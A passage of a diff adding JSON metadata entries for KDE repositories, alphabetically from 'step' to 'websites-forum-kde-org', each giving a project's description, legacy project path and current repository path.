"kde/kdeedu/step", + "repo_path": "education/step" + }, + "stibium": { + "description": "Stibium is a version of KDE developed as a web application, using personal cloud services to store data.", + "name": "stibium", + "project_path": "playground/www/stibium", + "repo_path": "unmaintained/stibium" + }, + "stopmotion": { + "description": "Grab the frames of your animation!", + "name": "stopmotion", + "project_path": "playground/multimedia/stopmotion", + "repo_path": "multimedia/stopmotion" + }, + "strigi": { + "description": "Strigi", + "name": "strigi", + "project_path": "kdesupport/strigi/strigi", + "repo_path": "unmaintained/strigi" + }, + "strigi-multimedia": { + "description": "Various analyzers to provide multimedia support to Strigi", + "name": "strigi-multimedia", + "project_path": "unmaintained/strigi-multimedia", + "repo_path": "unmaintained/strigi-multimedia" + }, + "strigiclient": { + "description": "Strigi client", + "name": "strigiclient", + "project_path": "kdesupport/strigi/strigiclient", + "repo_path": "unmaintained/strigiclient" + }, + "strigidaemon": { + "description": "Strigi daemon", + "name": "strigidaemon", + "project_path": "kdesupport/strigi/strigidaemon", + "repo_path": "unmaintained/strigidaemon" + }, + "strigiutils": { + "description": "Strigi utilities", + "name": "strigiutils", + "project_path": "kdesupport/strigi/strigiutils", + "repo_path": "unmaintained/strigiutils" + }, + "subtitlecomposer": { + "description": "Video subtitle editor", + "name": "subtitlecomposer", + "project_path": "kde/kdemultimedia/subtitlecomposer", + "repo_path": "multimedia/subtitlecomposer" + }, + "superbuild": { + "description": "Automates building separate (KDE) repositories in one go using plain CMake, similar to kdesrc-build.", + "name": "superbuild", + "project_path": "unmaintained/superbuild", + "repo_path": "unmaintained/superbuild" + }, + "superkaramba": { + "description": "SuperKaramba is a tool that allows you to easily create interactive widgets on your KDE desktop.", + "name": "superkaramba", + "project_path": "unmaintained/superkaramba", + "repo_path": "unmaintained/superkaramba" + }, + "svgmod": { + "description": "Apply system colors to plasma rendered SVGs", + "name": "svgmod", + "project_path": "playground/devtools/svgmod", + "repo_path": "unmaintained/svgmod" + }, + "svgpart": { + "description": "A KPart for SVG support", + "name": "svgpart", + "project_path": "kde/kdegraphics/svgpart", + "repo_path": "graphics/svgpart" + }, + "sweeper": { + "description": "Application that helps to clean unwanted traces the user leaves on the system", + "name": "sweeper", + "project_path": "kde/kdeutils/sweeper", + "repo_path": "utilities/sweeper" + }, + "symboleditor": { + "description": "Application to create libraries of QPainterPath objects with rendering hints", + "name": "symboleditor", + "project_path": "extragear/graphics/symboleditor", + "repo_path": "graphics/symboleditor" + }, + "symmy": { + "description": "GPG symmetric encryption frontend", + "name": "symmy", + "project_path": "extragear/utils/symmy", + "repo_path": "utilities/symmy" + }, + "synchrotron": { + "description": "An OCS compatible web service for publishing application add-ons from upstream projects directly to users via a git repository.", + "name": "synchrotron", + "project_path": "playground/www/synchrotron", + "repo_path": "unmaintained/synchrotron" + }, + "synchrotron-sources": { + "description": "An OCS compatible web service for publishing application add-ons from upstream projects directly to users via a git repository.", + "name": "synchrotron-sources", + "project_path": "playground/www/synchrotron-sources", + "repo_path": "unmaintained/synchrotron-sources" + }, + "syndication": { + "description": "Syndication Library", + "name": "syndication", + "project_path": "frameworks/syndication", + "repo_path": "frameworks/syndication" + }, + "syntax-highlighting": { + "description": "Syntax highlighting Engine for Structured Text and Code.", + "name": "syntax-highlighting", + "project_path": "frameworks/syntax-highlighting", + "repo_path": "frameworks/syntax-highlighting" + }, + "sysadmin-activityfilter": { + "description": "Configuration for the Activity Filter service", + "name": "sysadmin-activityfilter", + "project_path": "sysadmin/activityfilter", + "repo_path": "sysadmin/activityfilter" + }, + "sysadmin-appimage-tooling": { + "description": "", + "name": "sysadmin-appimage-tooling", + "project_path": "sysadmin/appimage-tooling", + "repo_path": "sysadmin/appimage-tooling" + }, + "sysadmin-appstream-metainfo-release-update": { + "description": "Updates AppStream Metainfo files for new releases of your software\r\n", + "name": "sysadmin-appstream-metainfo-release-update", + "project_path": "sysadmin/appstream-metainfo-release-update", + "repo_path": "sysadmin/appstream-metainfo-release-update" + }, + "sysadmin-binary-factory-tooling": { + "description": "All tooling and other materials necessary for the operation of the KDE Binary Factory", + "name": "sysadmin-binary-factory-tooling", + "project_path": "sysadmin/binary-factory-tooling", + "repo_path": "sysadmin/binary-factory-tooling" + }, + "sysadmin-bugzilla-bot": { + "description": "", + "name": "sysadmin-bugzilla-bot", + "project_path": "sysadmin/bugzilla-bot", + "repo_path": "sysadmin/bugzilla-bot" + }, + "sysadmin-ci-management": { + "description": "Contains all management jobs and other data needed to run our Gitlab CI infrastructure.", + "name": "sysadmin-ci-management", + "project_path": "sysadmin/ci-management", + "repo_path": "sysadmin/ci-management" + }, + "sysadmin-ci-notary-service": { + "description": "An SFTP-backed services provider", + "name": "sysadmin-ci-notary-service", + "project_path": "sysadmin/ci-notary-service", + "repo_path": "sysadmin/ci-notary-service" + }, + "sysadmin-ci-service-templates": { + "description": "Gitlab CI templates for use with Micro Services", + "name": "sysadmin-ci-service-templates", + "project_path": "sysadmin/ci-service-templates", + "repo_path": "sysadmin/ci-service-templates" + }, + "sysadmin-ci-tooling": { + "description": "Contains all tooling necessary to operate build.kde.org, including the Docker images for our Linux builds along with the documentation necessary to setup FreeBSD and Windows builds.", + "name": "sysadmin-ci-tooling", + "project_path": "sysadmin/ci-tooling", + "repo_path": "sysadmin/ci-tooling" + }, + "sysadmin-ci-utilities": { + "description": "Contains all tooling necessary to run our Gitlab CI jobs for all platforms.", + "name": "sysadmin-ci-utilities", + "project_path": "sysadmin/ci-utilities", + "repo_path": "sysadmin/ci-utilities" + }, + "sysadmin-dns": { + "description": "DNS Zone files for Sysadmin managed domains", + "name": "sysadmin-dns", + "project_path": "sysadmin/dns", + "repo_path": "sysadmin/dns" + }, + "sysadmin-docs": { + "description": "Documentation for infrastructure and services managed by sysadmin team", + "name": "sysadmin-docs", + "project_path": "sysadmin/sysadmin-docs", + "repo_path": "sysadmin/sysadmin-docs" + }, + "sysadmin-geoip-service-backend": { + "description": "", + "name": "sysadmin-geoip-service-backend", + "project_path": "sysadmin/geoip-service-backend", + "repo_path": "sysadmin/geoip-service-backend" + }, + "sysadmin-gerrit-all-projects": { + "description": "", + "name": "sysadmin-gerrit-all-projects", + "project_path": "sysadmin/gerrit-all-projects", + "repo_path": "sysadmin/gerrit-all-projects" + }, + "sysadmin-gerrit-ci-matrix": { + "description": "", + "name": "sysadmin-gerrit-ci-matrix", + "project_path": "sysadmin/gerrit-ci-matrix", + "repo_path": "sysadmin/gerrit-ci-matrix" + }, + "sysadmin-gerrit-gear": { + "description": "", + "name": "sysadmin-gerrit-gear", + "project_path": "sysadmin/gerrit-gear", + "repo_path": "sysadmin/gerrit-gear" + }, + "sysadmin-gerrit-imported-projects": { + "description": "Read-only imports from KDE git to Gerrit", + "name": "sysadmin-gerrit-imported-projects", + "project_path": "sysadmin/gerrit-imported-projects", + "repo_path": "sysadmin/gerrit-imported-projects" + }, + "sysadmin-gerrit-infra-projects": { + "description": "", + "name": "sysadmin-gerrit-infra-projects", + "project_path": "sysadmin/gerrit-infra-projects", + "repo_path": "sysadmin/gerrit-infra-projects" + }, + "sysadmin-gerrit-kde-ci-checked-projects": { + "description": "", + "name": "sysadmin-gerrit-kde-ci-checked-projects", + "project_path": "sysadmin/gerrit-kde-ci-checked-projects", + "repo_path": "sysadmin/gerrit-kde-ci-checked-projects" + }, + "sysadmin-gerrit-kde-ci-enforced-projects": { + "description": "", + "name": "sysadmin-gerrit-kde-ci-enforced-projects", + "project_path": "sysadmin/gerrit-kde-ci-enforced-projects", + "repo_path": "sysadmin/gerrit-kde-ci-enforced-projects" + }, + "sysadmin-gerrit-kde-traditional-projects": { + "description": "", + "name": "sysadmin-gerrit-kde-traditional-projects", + "project_path": "sysadmin/gerrit-kde-traditional-projects", + "repo_path": "sysadmin/gerrit-kde-traditional-projects" + }, + "sysadmin-gerrit-project-config": { + "description": "", + "name": "sysadmin-gerrit-project-config", + "project_path": "sysadmin/gerrit-project-config", + "repo_path": "sysadmin/gerrit-project-config" + }, + "sysadmin-gerrit-turbo-hipster": { + "description": "", + "name": "sysadmin-gerrit-turbo-hipster", + "project_path": "sysadmin/gerrit-turbo-hipster", + "repo_path": "sysadmin/gerrit-turbo-hipster" + }, + "sysadmin-gerrit-zuul": { + "description": "", + "name": "sysadmin-gerrit-zuul", + "project_path": "sysadmin/gerrit-zuul", + "repo_path": "sysadmin/gerrit-zuul" + }, + "sysadmin-gitlab-jobwatch": { + "description": "Agent to record the status of changes to Gitlab CI jobs in a separate database", + "name": "sysadmin-gitlab-jobwatch", + "project_path": "sysadmin/gitlab-jobwatch", + "repo_path": "sysadmin/gitlab-jobwatch" + }, + "sysadmin-gitlab-ldapsync": { + "description": "Agent to monitor a given LDAP directory for changes and propagate them to Gitlab", + "name": "sysadmin-gitlab-ldapsync", + "project_path": "sysadmin/gitlab-ldapsync", + "repo_path": "sysadmin/gitlab-ldapsync" + }, + "sysadmin-gitlab-react": { + "description": "Agent to monitor a given gitlab instance and perform pre-defined actions", + "name": "sysadmin-gitlab-react", + "project_path": "sysadmin/gitlab-react", + "repo_path": "sysadmin/gitlab-react" + }, + "sysadmin-gitlab-triaging": { + "description": "Service to automatically triage Merge Requests, Tasks and other items on KDE Invent (Gitlab)", + "name": "sysadmin-gitlab-triaging", + "project_path": "sysadmin/gitlab-triaging", + "repo_path": "sysadmin/gitlab-triaging" + }, + "sysadmin-gitlab-vulnerability-issues": { + "description": "Vulnerability Reports as GitLab Issues", + "name": "sysadmin-gitlab-vulnerability-issues", + "project_path": "sysadmin/gitlab-vulnerability-issues", + "repo_path": "sysadmin/gitlab-vulnerability-issues" + }, + "sysadmin-irc-notifications": { + "description": "Essential materials for the KDE IRC commit notifications system, based on Irker and CIA style XML delivered via SMTP.", + "name": "sysadmin-irc-notifications", + "project_path": "sysadmin/irc-notifications", + "repo_path": "sysadmin/irc-notifications" + }, + "sysadmin-kde-ansible": { + "description": "Ansible playbooks for KDE infrastructure", + "name": "sysadmin-kde-ansible", + "project_path": "sysadmin/kde-ansible", + "repo_path": "sysadmin/kde-ansible" + }, + "sysadmin-kikibot": { + "description": "Custom IRC Response bot for Krita", + "name": "sysadmin-kikibot", + "project_path": "sysadmin/kikibot", + "repo_path": "sysadmin/kikibot" + }, + "sysadmin-l10n-scripty": { + "description": "Localization and Internationalization Service Bot", + "name": "sysadmin-l10n-scripty", + "project_path": "sysadmin/l10n-scripty", + "repo_path": "sysadmin/l10n-scripty" + }, + "sysadmin-neon-appstream-extra-metainfo": { + "description": "extra-metainfo information for appstream-generator", + "name": "sysadmin-neon-appstream-extra-metainfo", + "project_path": "sysadmin/neon-appstream-extra-metainfo", + "repo_path": "sysadmin/neon-appstream-extra-metainfo" + }, + "sysadmin-neon-image-syncd": { + "description": "", + "name": "sysadmin-neon-image-syncd", + "project_path": "sysadmin/neon-image-syncd", + "repo_path": "sysadmin/neon-image-syncd" + }, + "sysadmin-neon-logind-cleanup": { + "description": "", + "name": "sysadmin-neon-logind-cleanup", + "project_path": "sysadmin/neon-logind-cleanup", + "repo_path": "sysadmin/neon-logind-cleanup" + }, + "sysadmin-neon-openqa": { + "description": "", + "name": "sysadmin-neon-openqa", + "project_path": "sysadmin/neon-openqa", + "repo_path": "sysadmin/neon-openqa" + }, + "sysadmin-neon-server-deploy": { + "description": "", + "name": "sysadmin-neon-server-deploy", + "project_path": "sysadmin/neon-server-deploy", + "repo_path": "sysadmin/neon-server-deploy" + }, + "sysadmin-neon-sftp-bridge": { + "description": "", + "name": "sysadmin-neon-sftp-bridge", + "project_path": "sysadmin/neon-sftp-bridge", + "repo_path": "sysadmin/neon-sftp-bridge" + }, + "sysadmin-projects-api": { + "description": "", + "name": "sysadmin-projects-api", + "project_path": "sysadmin/projects-api", + "repo_path": "sysadmin/projects-api" + }, + "sysadmin-rbot-plugin-kde-bugzilla": { + "description": "", + "name": "sysadmin-rbot-plugin-kde-bugzilla", + "project_path": "sysadmin/rbot-plugin-kde-bugzilla", + "repo_path": "sysadmin/rbot-plugin-kde-bugzilla" + }, + "sysadmin-rbot-plugin-kde-phabricator": { + "description": "", + "name": "sysadmin-rbot-plugin-kde-phabricator", + "project_path": "sysadmin/rbot-plugin-kde-phabricator", + "repo_path": "sysadmin/rbot-plugin-kde-phabricator" + }, + "sysadmin-release-tools": { + "description": "Scripts and tools used when releasing KDE SC", + "name": "sysadmin-release-tools", + "project_path": "sysadmin/release-tools", + "repo_path": "sysadmin/release-tools" + }, + "sysadmin-replicant": { + "description": "Agent to mirror all repositories, and changes in them, from a Gitlab instance", + "name": "sysadmin-replicant", + "project_path": "sysadmin/replicant", + "repo_path": "sysadmin/replicant" + }, + "sysadmin-repo-metadata": { + "description": "Metadata concerning repositories on Gitlab (invent.kde.org)", + "name": "sysadmin-repo-metadata", + "project_path": "sysadmin/repo-metadata", + "repo_path": "sysadmin/repo-metadata" + }, + "sysadmin-sentry-bugzilla-bridge": { + "description": "Service to bridge Sentry and Bugzilla", + "name": "sysadmin-sentry-bugzilla-bridge", + "project_path": "sysadmin/sentry-bugzilla-bridge", + "repo_path": "sysadmin/sentry-bugzilla-bridge" + }, + "sysadmin-webstats": { + "description": "Scripts and templates used to manage web statistics on KDE servers", + "name": "sysadmin-webstats", + "project_path": "sysadmin/webstats", + "repo_path": "sysadmin/webstats" + }, + "systemd-kcm": { + "description": "Kcm module for managing systemd", + "name": "systemd-kcm", + "project_path": "unmaintained/systemd-kcm", + "repo_path": "unmaintained/systemd-kcm" + }, + "systemdgenie": { + "description": "Systemd managment utility", + "name": "systemdgenie", + "project_path": "playground/sysadmin/systemdgenie", + "repo_path": "system/systemdgenie" + }, + "systemsettings": { + "description": "Control center to configure your Plasma Desktop", + "name": "systemsettings", + "project_path": "kde/workspace/systemsettings", + "repo_path": "plasma/systemsettings" + }, + "taglib": { + "description": null, + "name": "taglib", + "project_path": "third-party/taglib", + "repo_path": null + }, + "telepathy-kdeconnect": { + "description": "KDE Connect connection manager for Telepathy.", + "name": "telepathy-kdeconnect", + "project_path": "unmaintained/telepathy-kdeconnect", + "repo_path": "unmaintained/telepathy-kdeconnect" + }, + "telepathy-logger-qt": { + "description": "Qt wrapper around TpLogger client library", + "name": "telepathy-logger-qt", + "project_path": "extragear/network/telepathy/telepathy-logger-qt", + "repo_path": "network/telepathy-logger-qt" + }, + "tellico": { + "description": "Collection management software, free and simple", + "name": "tellico", + "project_path": "extragear/office/tellico", + "repo_path": "office/tellico" + }, + "telly-skout": { + "description": "Convergent TV guide based on Kirigami.", + "name": "telly-skout", + "project_path": "extragear/utilities/telly-skout", + "repo_path": "utilities/telly-skout" + }, + "threadweaver": { + "description": "ThreadWeaver", + "name": "threadweaver", + "project_path": "frameworks/threadweaver", + "repo_path": "frameworks/threadweaver" + }, + "tikzkit": { + "description": "WYSIWYG editor to create PGF/TikZ pictures", + "name": "tikzkit", + "project_path": "playground/graphics/tikzkit", + "repo_path": "graphics/tikzkit" + }, + "toad": { + "description": "Organize your tasks", + "name": "toad", + "project_path": "playground/utilities/toad", + "repo_path": "utilities/toad" + }, + "tok": { + "description": "Telegram client built using Kirigami", + "name": "tok", + "project_path": "playground/network/tok", + "repo_path": "network/tok" + }, + "tokodon": { + "description": "Tokodon is a Mastodon client for Plasma and Plasma Mobile", + "name": "tokodon", + "project_path": "extragear/network/tokodon", + "repo_path": "network/tokodon" + }, + "totalreqall": { + "description": "A program for memorizing the Bible and other works. Uses the Sword library.", + "name": "totalreqall", + "project_path": "playground/utilities/totalreqall", + "repo_path": "utilities/totalreqall" + }, + "trainer": { + "description": "Application to help you practice sport exercises with a description and duration", + "name": "trainer", + "project_path": "playground/mobile/trainer", + "repo_path": "plasma-mobile/trainer" + }, + "trojita": { + "description": "Fast, lightweight and standard-compliant IMAP e-mail client", + "name": "trojita", + "project_path": "extragear/pim/trojita", + "repo_path": "pim/trojita" + }, + "tupi": { + "description": "Tupi is an open/free 2D animation software based on usability, a friendly user experience and community values.", + "name": "tupi", + "project_path": "unmaintained/tupi", + "repo_path": "unmaintained/tupi" + }, + "twine2": { + "description": "Python bindings SIP updater that processes C++ header files into Riverbank SIP", + "name": "twine2", + "project_path": "playground/bindings/twine2", + "repo_path": "libraries/twine2" + }, + "ubiquity-slideshow-neon": { + "description": "Neon slideshow for Ubiquity", + "name": "ubiquity-slideshow-neon", + "project_path": "playground/base/ubiquity-slideshow-neon", + "repo_path": "system/ubiquity-slideshow-neon" + }, + "ufw-kde": { + "description": "GUI Interface for Uncomplicated Firewall (UFW).", + "name": "ufw-kde", + "project_path": "playground/sysadmin/ufw-kde", + "repo_path": "unmaintained/ufw-kde" + }, + "umbrello": { + "description": "GUI for diagramming Unified Modelling Language (UML)", + "name": "umbrello", + "project_path": "kde/kdesdk/umbrello", + "repo_path": "sdk/umbrello" + }, + "upnp-lib-qt": { + "description": "UPnP wrapper for Qt", + "name": "upnp-lib-qt", + "project_path": "playground/base/upnp-lib-qt", + "repo_path": "libraries/upnp-lib-qt" + }, + "user-manager": { + "description": "A simple system settings module to manage the users of your system", + "name": "user-manager", + "project_path": "unmaintained/user-manager", + "repo_path": "plasma/user-manager" + }, + "vail": { + "description": "Communicate using Morse", + "name": "vail", + "project_path": "playground/utils/vail", + "repo_path": "utilities/vail" + }, + "vakzination": { + "description": "Vakzination manages your health certificates like vaccination, test, and recovery certificates.", + "name": "vakzination", + "project_path": "playground/pim/vakzination", + "repo_path": "pim/vakzination" + }, + "veritas": { + "description": "Veritas provides a common interface for running unit tests in KDevPlatform.", + "name": "veritas", + "project_path": "unmaintained/veritas", + "repo_path": "unmaintained/veritas" + }, + "vvave": { + "description": "Multi-platform media player", + "name": "vvave", + "project_path": "playground/multimedia/vvave", + "repo_path": "maui/vvave" + }, + "wacomtablet": { + "description": "GUI for Wacom Linux drivers that supports different button/pen layout profiles", + "name": "wacomtablet", + "project_path": "kde/workspace/wacomtablet", + "repo_path": "plasma/wacomtablet" + }, + "washipad": { + "description": "A minimalist application for sketchnoting", + "name": "washipad", + "project_path": "playground/utils/washipad", + "repo_path": "graphics/washipad" + }, + "wayland": { + "description": null, + "name": "wayland", + "project_path": "third-party/wayland", + "repo_path": null + }, + "wayland-protocols": { + "description": null, + "name": "wayland-protocols", + "project_path": "third-party/wayland-protocols", + "repo_path": null + }, + "websites-20years-kde-org": { + "description": "Website for the \"20 years of KDE\" book \u2014 20years.kde.org", + "name": "websites-20years-kde-org", + "project_path": "websites/20years-kde-org", + "repo_path": "websites/20years-kde-org" + }, + "websites-25for25-kde-org": { + "description": "Website for the KDE 25th Anniversary Fundraising", + "name": "websites-25for25-kde-org", + "project_path": "websites/25for25-kde-org", + "repo_path": "websites/25for25-kde-org" + }, + "websites-25years-kde-org": { + "description": "Website to celebrate the 25th anniversary of the KDE project", + "name": "websites-25years-kde-org", + "project_path": "websites/25years-kde-org", + "repo_path": "websites/25years-kde-org" + }, + "websites-accessibility-kde-org": { + "description": "Website for KDE's accessibility technologies", + "name": "websites-accessibility-kde-org", + "project_path": "websites/accessibility-kde-org", + "repo_path": "websites/accessibility-kde-org" + }, + "websites-aether-drupal7": { + "description": "Aether theme for Drupal 7", + "name": "websites-aether-drupal7", + "project_path": "websites/aether-drupal7", + "repo_path": "websites/aether-drupal7" + }, + "websites-aether-mediawiki": { + "description": "Aether theme for KDE's wikis", + "name": "websites-aether-mediawiki", + "project_path": "websites/aether-mediawiki", + "repo_path": "websites/aether-mediawiki" + }, + "websites-aether-sass": { + "description": "Aether-flavoured SASS for various websites", + "name": "websites-aether-sass", + "project_path": "websites/aether-sass", + "repo_path": "websites/aether-sass" + }, + "websites-aether-sphinx": { + "description": "Aether theme for Sphinx documentation", + "name": "websites-aether-sphinx", + "project_path": "websites/aether-sphinx", + "repo_path": "websites/aether-sphinx" + }, + "websites-aether-wordpress": { + "description": "Aether theme for Wordpress", + "name": "websites-aether-wordpress", + "project_path": "websites/aether-wordpress", + "repo_path": "websites/aether-wordpress" + }, + "websites-akademy-kde-org": { + "description": "Website for Akademy - akademy.kde.org", + "name": "websites-akademy-kde-org", + "project_path": "websites/akademy-kde-org", + "repo_path": "websites/akademy-kde-org" + }, + "websites-akademy-registration": { + "description": "Drupal 6 module for the Akademy registration system", + "name": "websites-akademy-registration", + "project_path": "websites/akademy-registration", + "repo_path": "websites/akademy-registration" + }, + "websites-akademy-schedule-kde-org": { + "description": "Website for the Akademy schedule \u2014 akademy-schedule.kde.org", + "name": "websites-akademy-schedule-kde-org", + "project_path": "websites/akademy-schedule-kde-org", + "repo_path": "websites/akademy-schedule-kde-org" + }, + "websites-akademy2004-kde-org": { + "description": "Static copy of the 2004 Conference (Akademy) website \u2014 conference2004.kde.org", + "name": "websites-akademy2004-kde-org", + "project_path": "websites/akademy2004-kde-org", + "repo_path": "websites/akademy2004-kde-org" + }, + "websites-akademy2005-kde-org": { + "description": "Static copy of the 2005 Conference (Akademy) website \u2014 conference2005.kde.org", + "name": "websites-akademy2005-kde-org", + "project_path": "websites/akademy2005-kde-org", + "repo_path": "websites/akademy2005-kde-org" + }, + "websites-akademy2006-kde-org": { + "description": "Static copy of the Akademy 2006 website \u2014 akademy2006.kde.org", + "name": "websites-akademy2006-kde-org", + "project_path": "websites/akademy2006-kde-org", + "repo_path": "websites/akademy2006-kde-org" + }, + "websites-akademy2007-kde-org": { + "description": "Static copy of the Akademy 2007 website \u2014 akademy2007.kde.org", + "name": "websites-akademy2007-kde-org", + "project_path": "websites/akademy2007-kde-org", + "repo_path": "websites/akademy2007-kde-org" + }, + "websites-akademy2008-kde-org": { + "description": "Static copy of the Akademy 2008 website \u2014 akademy2008.kde.org", + "name": "websites-akademy2008-kde-org", + "project_path": "websites/akademy2008-kde-org", + "repo_path": "websites/akademy2008-kde-org" + }, + "websites-akademy2009-kde-org": { + "description": "Static copy of the Akademy 2009 website \u2014 akademy2009.kde.org", + "name": "websites-akademy2009-kde-org", + "project_path": "websites/akademy2009-kde-org", + "repo_path": "websites/akademy2009-kde-org" + }, + "websites-akademy2010-kde-org": { + "description": "Static copy of the Akademy 2010 website \u2014 akademy2010.kde.org", + "name": "websites-akademy2010-kde-org", + "project_path": "websites/akademy2010-kde-org", + "repo_path": "websites/akademy2010-kde-org" + }, + "websites-akademy2012-kde-org": { + "description": "Static copy of the Akademy 2012 website \u2014 akademy2012.kde.org", + "name": "websites-akademy2012-kde-org", + "project_path": "websites/akademy2012-kde-org", + "repo_path": "websites/akademy2012-kde-org" + }, + "websites-amarok-kde-org": { + "description": "Static copy of the Amarok website \u2014 amarok.kde.org", + "name": "websites-amarok-kde-org", + "project_path": "websites/amarok-kde-org", + "repo_path": "websites/amarok-kde-org" + }, + "websites-apps-kde-org": { + "description": "KDE application catalog \u2014 apps.kde.org", + "name": "websites-apps-kde-org", + "project_path": "websites/apps-kde-org", + "repo_path": "websites/apps-kde-org" + }, + "websites-apps-kde-org-archived": { + "description": "Application which used to run apps.kde.org", + "name": "websites-apps-kde-org-archived", + "project_path": "websites/apps-kde-org-archived", + "repo_path": "websites/apps-kde-org-archived" + }, + "websites-atelier-kde-org": { + "description": "Application that serves atelier.kde.org", + "name": "websites-atelier-kde-org", + "project_path": "websites/atelier-kde-org", + "repo_path": "websites/atelier-kde-org" + }, + "websites-autoconfig-kde-org": { + "description": "Automatic configuration metadata for KDE.org services for external applications", + "name": "websites-autoconfig-kde-org", + "project_path": "websites/autoconfig-kde-org", + "repo_path": "websites/autoconfig-kde-org" + }, + "websites-ballot-kde-org": { + "description": "Ugly, simple, and very secure voting system \u2014 ballot.kde.org", + "name": "websites-ballot-kde-org", + "project_path": "websites/ballot-kde-org", + "repo_path": "websites/ballot-kde-org" + }, + "websites-blogs-kde-org": { + "description": "Contributor blogs site (based on Hugo)", + "name": "websites-blogs-kde-org", + "project_path": "websites/blogs-kde-org", + "repo_path": "websites/blogs-kde-org" + }, + "websites-br-qtcon-org": { + "description": "Website for QtCon Brazil \u2014 br.qtcon.org", + "name": "websites-br-qtcon-org", + "project_path": "websites/br-qtcon-org", + "repo_path": "websites/br-qtcon-org" + }, + "websites-bugs-kde-org": { + "description": "Modified sources for the KDE Bugtracking System \u2014 bugs.kde.org", + "name": "websites-bugs-kde-org", + "project_path": "websites/bugs-kde-org", + "repo_path": "websites/bugs-kde-org" + }, + "websites-buzz-kde-org": { + "description": "Website of the Buzz aggregator", + "name": "websites-buzz-kde-org", + "project_path": "websites/buzz-kde-org", + "repo_path": "websites/buzz-kde-org" + }, + "websites-calligra-org": { + "description": "Website for Calligra \u2014 calligra.org", + "name": "websites-calligra-org", + "project_path": "websites/calligra-org", + "repo_path": "websites/calligra-org" + }, + "websites-camp-kde-org": { + "description": "Website for Camp KDE", + "name": "websites-camp-kde-org", + "project_path": "websites/camp-kde-org", + "repo_path": "websites/camp-kde-org" + }, + "websites-cantor-kde-org": { + "description": "Website for Cantor \u2014 cantor.kde.org", + "name": "websites-cantor-kde-org", + "project_path": "websites/cantor-kde-org", + "repo_path": "websites/cantor-kde-org" + }, + "websites-capacity": { + "description": "PHP application used as back end to display some of KDE's websites", + "name": "websites-capacity", + "project_path": "websites/capacity", + "repo_path": "websites/capacity" + }, + "websites-choqok-kde-org": { + "description": "Website for Choqok \u2014 choqok.kde.org", + "name": "websites-choqok-kde-org", + "project_path": "websites/choqok-kde-org", + "repo_path": "websites/choqok-kde-org" + }, + "websites-commit-digest-kde-org": { + "description": "Static copy of the KDE Commit Digest \u2014 commit-digest.kde.org", + "name": "websites-commit-digest-kde-org", + "project_path": "websites/commit-digest-kde-org", + "repo_path": "websites/commit-digest-kde-org" + }, + "websites-conf-kde-in": { + "description": "Website for the KDE India Conference \u2014 conf.kde.in", + "name": "websites-conf-kde-in", + "project_path": "websites/conf-kde-in", + "repo_path": "websites/conf-kde-in" + }, + "websites-conf-kde-org": { + "description": "Conference planning and management system \u2014 conf.kde.org", + "name": "websites-conf-kde-org", + "project_path": "websites/conf-kde-org", + "repo_path": "websites/conf-kde-org" + }, + "websites-conf-qtcon-org": { + "description": "Static archive of the QtCon Conference Organization system \u2014 conf.qtcon.org", + "name": "websites-conf-qtcon-org", + "project_path": "websites/conf-qtcon-org", + "repo_path": "websites/conf-qtcon-org" + }, + "websites-contents-neon-kde-org": { + "description": "REST API for Neon package contents queries \u2014 contents.neon.kde.org", + "name": "websites-contents-neon-kde-org", + "project_path": "websites/contents-neon-kde-org", + "repo_path": "websites/contents-neon-kde-org" + }, + "websites-cutehmi-kde-org": { + "description": "Website for CuteHMI \u2014 cutehmi.kde.org", + "name": "websites-cutehmi-kde-org", + "project_path": "websites/cutehmi-kde-org", + "repo_path": "websites/cutehmi-kde-org" + }, + "websites-desktopsummit-org": { + "description": "Static copy of the DesktopSummit website \u2014 desktopsummit.org", + "name": "websites-desktopsummit-org", + "project_path": "websites/desktopsummit-org", + "repo_path": "websites/desktopsummit-org" + }, + "websites-digikam-org": { + "description": "Website for digiKam \u2014 digikam.org", + "name": "websites-digikam-org", + "project_path": "websites/digikam-org", + "repo_path": "websites/digikam-org" + }, + "websites-discover-kde-org": { + "description": "Drupal theme for the Discover website", + "name": "websites-discover-kde-org", + "project_path": "websites/discover-kde-org", + "repo_path": "websites/discover-kde-org" + }, + "websites-docs-kde-org": { + "description": "Scripts and other materials needed to support and operate docs.kde.org", + "name": "websites-docs-kde-org", + "project_path": "websites/docs-kde-org", + "repo_path": "websites/docs-kde-org" + }, + "websites-docs-krita-org": { + "description": "The Krita Manual. Built with Sphinx by Jenkins, available online at https://docs.krita.org\r\n\r\nCheck the krita_manual_readme.rst on how to help us!", + "name": "websites-docs-krita-org", + "project_path": "websites/docs-krita-org", + "repo_path": "documentation/docs-krita-org" + }, + "websites-docs-plasma-mobile-org": { + "description": "Plasma Mobile documentation based on Sphinx", + "name": "websites-docs-plasma-mobile-org", + "project_path": "websites/docs-plasma-mobile-org", + "repo_path": "documentation/docs-plasma-mobile-org" + }, + "websites-download-kde-org": { + "description": "MirrorBrain configuration, templates, etc. \u2014 download.kde.org", + "name": "websites-download-kde-org", + "project_path": "websites/download-kde-org", + "repo_path": "websites/download-kde-org" + }, + "websites-eco-kde-org": { + "description": "Website to promote KDE's environmental projects", + "name": "websites-eco-kde-org", + "project_path": "websites/eco-kde-org", + "repo_path": "websites/eco-kde-org" + }, + "websites-edu-kde-org": { + "description": "Website for KDE's educational software \u2014 edu.kde.org", + "name": "websites-edu-kde-org", + "project_path": "websites/edu-kde-org", + "repo_path": "websites/edu-kde-org" + }, + "websites-elisa-kde-org": { + "description": "Website for Elisa \u2014 elisa.kde.org", + "name": "websites-elisa-kde-org", + "project_path": "websites/elisa-kde-org", + "repo_path": "websites/elisa-kde-org" + }, + "websites-ev-kde-org": { + "description": "Website for KDE e.V. \u2014 ev.kde.org", + "name": "websites-ev-kde-org", + "project_path": "websites/ev-kde-org", + "repo_path": "websites/ev-kde-org" + }, + "websites-events-kde-org": { + "description": "Conference and sprint attendance management system \u2014 events.kde.org", + "name": "websites-events-kde-org", + "project_path": "websites/events-kde-org", + "repo_path": "websites/events-kde-org" + }, + "websites-evolve-kde-org": { + "description": "Website for the \"Evolving KDE\" survey", + "name": "websites-evolve-kde-org", + "project_path": "websites/evolve-kde-org", + "repo_path": "websites/evolve-kde-org" + }, + "websites-extensions-krita-org": { + "description": "Scripts that were used to power extensions.krita.org", + "name": "websites-extensions-krita-org", + "project_path": "websites/extensions-krita-org", + "repo_path": "websites/extensions-krita-org" + }, + "websites-falkon-org": { + "description": "Website for Falkon \u2014 falkon.org", + "name": "websites-falkon-org", + "project_path": "websites/falkon-org", + "repo_path": "websites/falkon-org" + }, + "websites-forum-kde-org": { + "description": "KDE Community Forum version of phpBB \u2014 forum.kde.org", + "name": "websites-forum-kde-org", + "project_path": "websites/forum-kde-org", + "repo_path": 